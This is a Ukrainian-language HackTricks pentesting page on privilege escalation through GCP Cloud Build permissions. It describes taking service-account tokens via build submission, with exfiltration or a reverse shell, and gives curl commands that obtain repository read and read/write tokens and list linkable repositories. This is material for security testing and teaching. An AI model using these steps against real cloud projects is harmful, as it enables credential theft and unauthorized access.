GCP - Cloudbuild Privesc

Підтримайте HackTricks

cloudbuild

Для отримання додаткової інформації про Cloud Build перевірте:

GCP - Cloud Build Enum

cloudbuild.builds.create

З цим дозволом ви можете відправити cloud build. Машина cloudbuild матиме у своєму файловій системі за замовчуванням токен облікового запису служби cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Однак, ви можете вказати будь-який обліковий запис служби всередині проекту в конфігурації cloudbuild. Тому ви можете просто змусити машину ексфільтрувати токен на ваш сервер або отримати зворотну оболонку всередині неї та отримати токен самостійно (файл, що містить токен, може змінюватися).

Ви можете знайти оригінальний скрипт експлойту тут на GitHub (але місце, звідки він бере токен, не працювало для мене). Тому перевірте скрипт для автоматизації створення, експлуатації та очищення вразливого середовища тут та python скрипт для отримання зворотної оболонки всередині машини cloudbuild і вкрадіть його тут (у коді ви можете знайти, як вказати інші облікові записи служб).

Для більш детального пояснення відвідайте https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Потенційно з цим дозволом ви зможете оновити cloud build і просто вкрасти токен облікового запису служби, як це було зроблено з попереднім дозволом (але, на жаль, на момент написання цього тексту я не зміг знайти спосіб викликати цей API).

TODO

cloudbuild.repositories.accessReadToken

З цим дозволом користувач може отримати токен доступу для читання, який використовується для доступу до репозиторію:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

З цим дозволом користувач може отримати токен доступу для читання та запису, який використовується для доступу до репозиторію:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

З цим дозволом ви можете отримати репозиторії, до яких має доступ з'єднання:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Підтримайте HackTricks

Last updated